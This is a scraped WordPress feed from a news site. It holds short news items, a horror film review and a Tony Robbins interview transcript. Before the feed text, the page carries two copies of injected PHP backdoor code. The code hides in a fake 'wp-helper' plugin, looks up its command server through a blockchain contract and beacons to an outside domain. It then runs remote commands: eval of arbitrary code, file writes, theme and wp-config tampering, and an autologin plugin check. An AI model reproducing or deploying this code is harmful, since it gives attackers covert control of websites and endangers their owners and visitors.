// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; 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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; 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$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Robbins – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 01 Nov 2018 15:08:10 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Robbins – Brief News https://briefnews.eu 32 32 Video shows a man repeatedly shouting the N-word at an employee inside a Dunkin’-Baskin Robbins store in Florida https://briefnews.eu/video-shows-a-man-repeatedly-shouting-the-n-word-at-an-employee-inside-a-dunkin-baskin-robbins-store-in-florida/ https://briefnews.eu/video-shows-a-man-repeatedly-shouting-the-n-word-at-an-employee-inside-a-dunkin-baskin-robbins-store-in-florida/#respond Thu, 01 Nov 2018 15:08:10 +0000 http://briefnews.eu/video-shows-a-man-repeatedly-shouting-the-n-word-at-an-employee-inside-a-dunkin-baskin-robbins-store-in-florida/ dunkin rantScreenshot via Twitter

  • Video shows a man launching into a racist tirade at a Dunkin’-Baskin Robbins store in Miami Beach, Florida. The man can be seen and heard repeatedly shouting the N-word at an employee there.
  • It is not entirely clear what set the man off, but a witness told the local ABC affiliate WPLG that the man had gotten upset after being told by the only employee on duty that he had to wait to be served.
  • That employee had apparently been busy with another customer at the time, the news report said.

A man was captured on video verbally attacking an employee inside a Dunkin’-Baskin Robbins store in Miami, Florida on Monday.

The unidentified man can be seen and heard on video shouting the N-word at the employee, and making obscene gestures with his hand.

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As a college attendee who never participated in Greek life myself, fraternal thrillers are always something of an outside-looking-in affair. My behind-closed-doors knowledge comes only from friends who recall their “elephant walks” or 24-hour drinking binges, always uttered with an air of unbelievableness. That’s what makes this subgenre so difficult. Can a movie sell sorority babes and fraternity bros getting away with literal murder? Yes, because Daniel Robbins’ film Pledge does. A cleanly shot, aggressively-spanked story of hazing torture outside collegiate regulation that makes you beg for each and every round of punishment.

As eager freshman explore prospective Greek households during rush week, three “nerdy” newbies struggle to find their place amidst tank-top dudes and twerking day-drinkers. David (Zack Weiner), Justin (Zachery Bird) and Ethan (Phillip Andre Botello) face a choice – drink beers and play XBOX alone for the next four years or get accepted into one of many brotherhoods. Sounds simple, but these guys aren’t exactly smoother operators. After being asked to leave Beta’s premises – for being “too weird” – an astoundingly attractive coed invites the trio off-campus to a special fraternity. Despite numerous red flags (chain-locked gate, lengthy dirt road, no neighboring houses), the boys find themselves pledging a mysterious social club where winners are made – if they can survive 48 hours of hell.

Enter Maxwell Peterson III (Aaron Dalla Villa), the “social club” chair who welcomes each pledge. He’s suited up for a country club ceremony, fluent in university partying and absolutely up to no good (American Psycho Jr., if you will). Night one is an all-out rager “packed” with only five pledges and beautiful, high-class ladies who cater to their guests’ every need. Night two begins with branding, moves to a most nauseating dinner and night three ends with chaotic bloodshed. This is all after an introductory flashback scene that predates proceedings by four years, where a runaway pledge is clocked with a baseball bat and dragged through cornfield stalks.

Robbins doesn’t need to play coy with Pledge. We all know the film’s three “lovable” losers will be tortured far worse than neverending beer bongs and sleep deprivation. Early hazes are stereotypical razzing and putting dorks into far-away corners, but tension peaks the minute Max introduces himself. Why is such a dapper, upstanding gentleman inviting the outcasts of campus into a “club” where mere children become titans of industry? Nevertheless built on ancient Roman beliefs of “real men” not submitting to breaking points because, in order to succeed, one must *never* break.

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Thus incites a tragic and terrible tale of toxic masculinity, where the pledgees may not be who we expect. Max’s cohorts – Ricky (Cameron Cowperthwaite) and Bret (Jesse Pimentel) – seem to be enjoying the sadism a bit too much. David and company are often degraded past rational human barriers, but no social club member seems to view their victims as people. That explains the steel bars over windows, roadkill slurry and ceremonial daggers, all while prototypical frat bros salivate and froth while spewing verbile bile towards each captor. Physically aching to witness pain, screaming in the name of bloody murder.

As you can expect, David’s fix-your-computer look makes him an easy target, along with Justin’s husky build and Ethan’s skittishness. Chosen because of weakness, forced to fight back against their alpha captors. Further tension mounts when Max’s clan unsheathes their true intentions, as they funnel rats into a Fight Club reminiscent basement where ungodly acts are committed. Random poor souls find themselves caught in the mix (women forced into skimpy stripper nurse outfits, two additional pledge candidates), but this is our leading dweebs’ crucible to conquer. Always overmatched, but like a rodent trapped under life-threatening circumstances, they’re forced to claw their way out. If, of course, they muster the gumption.

Actor Zach Weiner doubles as the film’s scribe, who very sharply whittles terror down to a streamlined spear design. Little time is wasted. Once “Hell Weekend” commences, danger swirls like a cyclone of elitist madness. As the nights press on, Grecian statue artwork depicting feats of strength call back to times when gladiators proved their might by showing nothing but physical dominance. Robbins and Weiner work together in modeling their age-old conspiracy beyond “Lizard Illuminati” believers, warping frat mentalities into a sick showing of “skills” to honor old ranks. Barbaric practices committed in modern-day light, wholly worth the massive liberties still taken by on-campus murder club participants.

“Masculinity” as a weapon, downfall and twisted take on horror. What relevance.

Pledge stakes its genre claim on fruitless anger, merciless abuse and satirical wit concerning what we’re willing to do for popularity. Daniel Robbins does plenty with what some will consider a bare-bones take, evoking fear from a disgusting, morally problematic core. We’ve all heard the fraternity warnings and seen what happens when senior drill sergeants take things a step too far. This is twelve steps past that mark, where surviving students would need therapy. Sometimes a bit generic when it comes to verbal berating, maybe not the most believable survival story at times, but for my money, a lean-mean junior feature from Mr. Robbins that easily makes the grade.

/Film Rating: 7 out of 10

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]]> https://briefnews.eu/pledge-review-a-lean-mean-fraternity-murder-convenes-in-daniel-robbins-thriller-fantasia-film-festival/feed/ 0 Tony Robbins has apologized for saying women use the #MeToo movement to ‘get significance and certainty by attacking and destroying someone else’ https://briefnews.eu/tony-robbins-has-apologized-for-saying-women-use-the-metoo-movement-to-get-significance-and-certainty-by-attacking-and-destroying-someone-else/ https://briefnews.eu/tony-robbins-has-apologized-for-saying-women-use-the-metoo-movement-to-get-significance-and-certainty-by-attacking-and-destroying-someone-else/#respond Tue, 10 Apr 2018 01:40:06 +0000 http://briefnews.eu/tony-robbins-has-apologized-for-saying-women-use-the-metoo-movement-to-get-significance-and-certainty-by-attacking-and-destroying-someone-else/ tony robbinsMike Windle/Getty Images

  • Tony Robbins, world-renowned performance coach, has apologized for comments he made about the #MeToo movement at an event in March.
  • Robbins told an audience member at the event that women use the movement to “get significance and certainty by attacking and destroying someone else.”
  • NowThis tweeted a clip of the event that went viral.
  • Tarana Burke, founder of the #MeToo movement said Robbins’ comments were especially damaging because of his tremendous influence.

World-renowned performance coach Tony Robbins has apologized for remarks he made in March, about how women use the #MeToo movement to “get significance.”

Robbins posted the apology on Facebook and linked to the statement on Twitter. It read, in part: “I apologize for suggesting anything other than my profound admiration for the #MeToo movement. Let me clearly say, I agree with the goals of the #MeToo movement and its founding message of  ’empowerment through empathy,’  which makes it a beautiful force for good.”

See the rest of the story at Business Insider

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This can be asked with skepticism: “I remember his infomercials. He’s just a con artist selling motivational speeches to desperate people, right?” Or they can be asked with reverence: “His lessons changed my life. Is he as inspirational in person? What did he teach you?”

Following is a transcript of the video.

Graham Flanagan: Why Rich, specifically? Why’d you invite him?

Tony Robbins: He’s my bud!

Rich Feloni: I’m Rich Feloni, senior reporter at Business Insider. Tony Robbins is a, what he likes to call, performance coach. He’s coached people like Serena Williams, Marc Benioff at Salesforce, and Paul Tudor Jones, who’s a billionaire investor. Over the last few years, I’ve had several opportunities to interview him. His team reached out to me and said Tony’s going to be at his resort in Fiji. He was going to be hosting the winners of Shopify’s “Build a Bigger Business” competition. So, we decided that yeah, this would be a great opportunity to see what Tony’s actually like. 

We headed out from JFK in New York City to LAX. Then, from LAX we took Fiji Airways to the main airport in Fiji — it’s called Nadi. As we’re waiting to get on this little island-hopper, we notice that, on the runway, is Tony’s private jet and it has a big “TR” logo on it. 

I’m gonna admit that I was pretty scared. I haven’t really been in a plane that small before. This is the only time I’ve ever actually checked for the life vest under a seat. 

As we were going into the Savusavu airport, well — it’s called an airport. There was a tiny little shack that was the airport, but it was basically a cow pasture. From there, off to Namale. Namale is Tony Robbins’ resort. This was one of his first major investments, so he was able to get it kind of cheap, and then over the last 30 years, he’s just really built it up into a beautiful resort that’s basically in the middle of the jungle by a bunch of coral reef. 

One of our first stops was Tony’s house.

Robbins: Well, nice to see you on the other side of the world! How are you?

Feloni: Good to see you, Tony!

Robbins: Great! Good to see you, too!

Feloni: Yeah! 

Robbins: Come on in!

Feloni: He basically has this decked-out hut in, like, the secluded part of his resort.

Robbins: You ready for my morning routine?

Feloni: Yes! Perfect!

So, Tony has this really elaborate morning routine. I thought he was going to kind of give us a demo or something, but he said, “Why would I give you a demo when I could just guide you through the whole thing yourself?”

So, we started off with “priming,” which is kind of like his take on meditation and yoga. 

Robbins: Begin to think of a moment in your life you could feel really grateful for if you wanted to. Enjoy it. Feel it. Fill up with it. 

Feloni: Yeah, I’ll admit it was pretty weird, but I just gave in totally and was like, “You know what? We came all the way to Fiji. I’m just gonna go all in.” 

So, after his priming exercise, Tony took us inside and I was surprised to see his personal trainer Billy, this incredibly energetic guy who’s always laughing. He made this little cocktail that was called like, an adrenal cocktail or something. I didn’t really know what it was, but I just decided to drink it.

Robbins: How was that?

Feloni: Tastes pretty good. 

And that fueled me for the rest of the day and everything that was to come. So, next, it’s time to check out what Billy and Tony called “The Electric Taco.” 

Billy Beck III: We’re gonna work as a team. You tell me when you feel it, even if it doesn’t hurt. Just tell me when you first feel it, and we’ll gradually go up. 

Feloni: So, right now it feels like I’m getting like, punched in the chest on both sides. 

Tony was saying that this was something that he does essentially every morning and it basically stimulates your muscles to the point where it feels like you’re getting a deep tissue massage. I immediately felt all of the tightness in my back first get really, really intense and then loosen up. 

After the Electric Taco, we went to Tony’s personal gym. It was filled with these weird contraptions that looked kind of like something out of “Saw” or a medieval torture chamber. 

Robbins: If you want, we’ll put you on the little torture machine. Full tilt. All the way. Push. As hard as you can. 

Feloni: The most medieval-looking of all these things is called the “Four Minute Machine.” 

Robbins: Push! Push! Push! Push! Push!

Feloni: Around two minutes in, I really didn’t think that I could do it. 

Robbins: Everything you got! This is it!

Feloni: Tony was screaming at me and I just felt like I couldn’t embarrass myself there. So, just driven by ego, I had to finish it. 

Robbins: Isn’t that wild? 

Feloni: Yeah. 

I felt as if I had spent like an hour in the gym. Tony took us to the next thing that he does every morning, which is: spend some time in the sauna and then a cold plunge. To be honest, it felt great. Basically, it’s part of the workout, because your heart rate is accelerated the whole time. 

Robbins: You’ll find your body really relaxing because you’ve taken it to such extremes. You’ll drop down to a different level. Like, if you went and meditated now, you’re gonna meditate deep. 

Feloni: So, the week went by. We got some great opportunities to see Tony in action coaching entrepreneurs. We realized that we needed some extra footage that we didn’t get to kind of just wrap everything up before we headed back home. 

Robbins: How you guys doing? 

Feloni: We were really only expecting five or ten minutes. He starts giving us a tour, and after just a few minutes, he points out something and says …

Robbins: Did you go up to the waterfall? 

Feloni: Have we gone to the waterfall?

Flanagan: No, we didn’t make it to the waterfall. 

Robbins: Okay, we should run you up to the waterfall. Will you call them and ask if they’ve got – my car is broken down, I think. I don’t know if I can fit in this car. 

Feloni: So, a five minute trip for extra footage ended up being an adventure that lasted over an hour. 

Robbins: I love this. 

Feloni: At the top of the mountain was a waterfall. I really wasn’t expecting him to just dive into the water, throw his shirt off, and then scream like Tarzan! I dove into the water after Tony. It was a pretty surreal experience. 

What I got from this last adventure was that Tony is a guy who, if you give him five minutes and you’re able to get in front of him, if he’s able to make a connection with someone, he’s really going to engage fully. In Fiji, you could tell that he’s, like, completely relaxed. This is his home turf, and I could see that he still kind of had a kid’s approach to the whole thing. 

Robbins: Are we on time? Am I late?

Feloni: They had to catch a flight to Australia. A group of people who worked at Namale had formed a semicircle to sing a traditional Fiji farewell song. 

Robbins: Time to say goodbye again. I’m so sorry, but I look forward to coming back home to see all the family again. It’s been a beautiful, beautiful trip. 

Feloni: When you’re in Tony’s presence, you kind of get sucked into this — he’s got a very magnetic personality. Totally, he’s not for everyone. There are plenty of people who wouldn’t be into this stuff. Whether it’s through his work or his philanthropy, I’m convinced that Tony is someone who is a genuine guy. Yes, he’s able to make a ton of money because he has, like, very clearly-defined business goals, but everything that he’s preaching and teaching people, he genuinely believes himself, so after this trip, I’m convinced that anything in his material that he’s teaching – this is something that he fully believes. He’s fully invested in. And I think that that makes a big difference, whether you’re in or whether you’re out.

